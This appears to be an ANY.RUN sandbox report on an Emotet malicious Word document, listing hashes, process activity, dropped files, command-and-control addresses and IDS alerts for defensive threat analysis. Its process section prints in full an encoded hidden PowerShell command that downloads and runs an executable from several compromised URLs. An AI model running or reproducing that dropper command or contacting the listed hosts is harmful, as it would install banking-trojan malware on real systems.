analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

fact_403447.doc

Full analysis: https://app.any.run/tasks/bd011b9a-c2b2-49f5-ac50-590e72d857f5
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: January 17, 2020, 17:02:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Dolorem., Author: Enzo Chevalier, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 13:45:00 2020, Last Saved Time/Date: Fri Jan 17 13:45:00 2020, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0
MD5:

87D68047C4636E66600940A12D9D37D5

SHA1:

6FE03D385F28F5ED962C09EA629A2FEE612703AB

SHA256:

EB5F8BBE8D55BCB870BD75CA0C66D5B0049E94973F19486BB7618DE66DEAB1BD

SSDEEP:

6144:r0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+crBdmeROBaN:r0E3dxtR/iU9mvUPclnROBaN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 900.exe (PID: 2868)
      • 900.exe (PID: 3776)
      • serialfunc.exe (PID: 3952)
      • serialfunc.exe (PID: 2248)

    • Downloads executable files from the Internet

      • Powershell.exe (PID: 3836)

    • Emotet process was detected

      • 900.exe (PID: 3776)

    • Connects to CnC server

      • serialfunc.exe (PID: 2248)

    • EMOTET was detected

      • serialfunc.exe (PID: 2248)

    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 2248)

  • SUSPICIOUS

    • Executed via WMI

      • Powershell.exe (PID: 3836)

    • Creates files in the user directory

      • Powershell.exe (PID: 3836)

    • PowerShell script executed

      • Powershell.exe (PID: 3836)

    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 3836)
      • 900.exe (PID: 3776)

    • Application launched itself

      • 900.exe (PID: 2868)

    • Starts itself from another location

      • 900.exe (PID: 3776)

    • Connects to server without host name

      • serialfunc.exe (PID: 2248)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2580)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2580)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Dolorem.
Subject: -
Author: Enzo Chevalier
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:17 13:45:00
ModifyDate: 2020:01:17 13:45:00
Pages: 1
Words: 4
Characters: 29
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 32
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 900.exe no specs #EMOTET 900.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
2580"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\fact_403447.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3836Powershell -w hidden -en JABGAGwAcAB0AHEAbABuAGIAbwA9ACcAVgB4AHgAdgBiAGgAcAB3AG8AaQBiAG4AYQAnADsAJABZAGYAdQB0AGIAZQByAHEAdgAgAD0AIAAnADkAMAAwACcAOwAkAEkAeQBjAHAAegBvAGwAbwBjAHgAPQAnAEoAcABvAHUAYwB5AGoAeAB2AGYAYwAnADsAJABTAHQAbwBuAHEAZgB2AGQAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWQBmAHUAdABiAGUAcgBxAHYAKwAnAC4AZQB4AGUAJwA7ACQAWQBlAHoAZAB4AHAAdgBrAD0AJwBEAGwAbwB6AGgAbQBpAHMAZQAnADsAJABLAGwAdABwAGsAbwBsAGcAcABnAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMAbABpAEUATgB0ADsAJABSAG8AeABlAGkAawB1AGUAcQByAGoAcAB5AD0AJwBoAHQAdABwADoALwAvAHYAaQBrAGkAcwBhAC4AYwBvAG0ALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AdgBWAGoARQBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBzAGgAdQBzAGMAbABlAGEAbgBpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AQQBUAHgAMABDADQAMQA1ADUAMQA2AC8AKgBoAHQAdABwADoALwAvAG8AdgBlAHIAdwBhAHQAYwBoAGIAbwBvAHMAdABwAHIAbwAuAGMAbwBtAC8AZQA0ADYAYQA3ADAAZAAyADQAZgA0ADEANgAyADkAMAAxAGEANQBkAGYAYgBjADEAMwA5AGIANAAwAGQANAA5AC8ARwBYAGcAYwBrAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGwAYQBzAHQAaQBjAC0AdwBpAHIAZQBtAGUAcwBoAC4AYwBvAG0ALwB3ADIALgBwAGwAYQBzAHQAaQBjAC0AdwBpAHIAZQBtAGUAcwBoAC4AYwBvAG0ALwBBAEIATQAwADIALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGEAbgBuAGwAaQAuAGMAbwBtAC8AYgB1AHkAXwBpAHQAZQBtAC8AbwBNAE0ANwAyADYAMgAvACcALgAiAHMAUABMAGAAaQBUACIAKAAnACoAJwApADsAJABOAHoAdABoAGwAYgBuAGkAPQAnAFcAcwBwAGIAawBtAGwAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwB5AGsAdgB5AGMAYQBjAGoAYwB1AGcAIABpAG4AIAAkAFIAbwB4AGUAaQBrAHUAZQBxAHIAagBwAHkAKQB7AHQAcgB5AHsAJABLAGwAdABwAGsAbwBsAGcAcABnAC4AIgBkAG8AdwBOAGwATwBgAEEAYABkAEYAaQBgAEwARQAiACgAJABTAHkAawB2AHkAYwBhAGMAagBjAHUAZwAsACAAJABTAHQAbwBuAHEAZgB2AGQAcQApADsAJABFAGgAagBsAGkAbwB6AGMAPQAnAE4AeABhAHoAbABmAGYAdwBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABTAHQAbwBuAHEAZgB2AGQAcQApAC4AIgBMAGUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIANgAzADMANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABTAHQAbwBuAHEAZgB2AGQAcQApADsAJABEAGcAdAB6AHkAdwB6AHgAbgB3AGgAPQAnAFAAaAB5AHcAYwBrAHkAYQBwACcAOwBiAHIAZQBhAGsAOwAkAFAAcABmAGcAbwBzAHYAdABkAHIAZwBmAD0AJwBBAGYAbABvAHoAYgBzAGQAZgBwAHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwB4AGQAbwBvAGgAYgBqAGkAcgB0AD0AJwBCAG4AdABvAGoAYwBqAGkAYgBlAG0AbAAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2868"C:\Users\admin\900.exe" C:\Users\admin\900.exe—Powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3776--30ec5237C:\Users\admin\900.exe
900.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3952"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe—900.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2248--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Version:
1, 0, 0, 1
Total events
2 278
Read events
1 439
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA737.tmp.cvr —
MD5:—
SHA256:—
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF89639804000F435B.TMP —
MD5:—
SHA256:—
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P2J4YZRNW991FGLEABTJ.temp —
MD5:—
SHA256:—
2580WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8B378DCC62035BBABEF8B1C2A131A338
SHA256:7C1F83E56B3CF1632E1D1DDD8BFD13219F8133599041726FA2EA3FB98B22B275
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:AD90424C6A0267155209A32189017730
SHA256:C1CE0F433FE0B98BCD3381780527270A83E5DA9BA9CFA5AEB288C4E81D8EDBD6
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
3776900.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:C0D3BF810BB2E735145D215BE9516E03
SHA256:C2DBFD41D22A7A06E6EB795E7FC915EDAF171AA43BDDC8FFF12C8624B1C797C9
3836Powershell.exeC:\Users\admin\900.exeexecutable
MD5:C0D3BF810BB2E735145D215BE9516E03
SHA256:C2DBFD41D22A7A06E6EB795E7FC915EDAF171AA43BDDC8FFF12C8624B1C797C9
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b08e.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ct_403447.docpgc
MD5:3299C61710EEDEF53FD4DAA544333602
SHA256:57B52632FD9DEC48EAC36EA3B9805CAC0DDEC48E93B6AE8742E2923C834C31FF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2248
serialfunc.exe
POST
—
98.199.196.197:80
http://98.199.196.197/0yESjyh
US
—
—
malicious
3836
Powershell.exe
GET
200
202.143.111.152:80
http://vikisa.com/administrator/vVjEn/
VN
executable
332 Kb
suspicious
2248
serialfunc.exe
POST
200
188.85.143.170:80
http://188.85.143.170/zqTV
ES
flc
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3836
Powershell.exe
202.143.111.152:80
vikisa.com
Digital world data online company
VN
suspicious
2248
serialfunc.exe
98.199.196.197:80
—
Comcast Cable Communications, LLC
US
malicious
2248
serialfunc.exe
188.85.143.170:80
—
Vodafone Spain
ES
malicious

DNS requests

Domain
IP
Reputation
vikisa.com
  • 202.143.111.152
suspicious

Threats

PID
Process
Class
Message
2248
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2248
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2248
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2248
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2248
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2248
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
fact_403447.doc